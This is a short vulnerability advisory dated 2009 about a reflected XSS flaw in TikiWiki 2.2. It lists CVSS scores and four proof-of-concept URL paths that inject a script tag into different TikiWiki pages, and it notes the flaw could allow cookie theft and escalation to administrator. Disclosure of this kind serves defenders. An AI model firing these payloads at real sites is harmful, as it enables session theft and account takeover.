TikiWiki 2.2 XSS Vulnerability in URI

2009.03.14
Credit: iliz
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Application: TikiWiki Version: 2.2 (latest) Website: www.tikiwiki.org Bug: Active XSS in URI Exploitation: Remote Date: 12 Mar 2009 Discovered by: iliz Author: iliz Contact: e-mail: iliz-z(at)yandex(dot)ru Bug Description: TikiWiki version 2.2 and later uses URI in html response body and fails to sanitize it. Is therefore prune to Active XSS attack. PROOF OF CONCEPT: /tiki-galleries.php/>"><Script>alert(1)</scRipt> /tiki-list_file_gallery.php/>"><Script>alert(2)</scRipt> /tiki-listpages.php/>"><Script>alert(3)</scRipt> /tiki-orphan_pages.php/>"><Script>alert(4)</scRipt> The javascript code will be executed in the context of the victim's browser, this can be exploited to steal cookies and escalate privileges to administrator. Tested with TikiWiki 2.2, Apache 2.2, Mozilla Firefox 3.0.6, InternetExplorer 7, Opera 9.65

References:

http://tikiwiki.svn.sourceforge.net/viewvc/tikiwiki/branches/2.0/changelog.txt?view=markup


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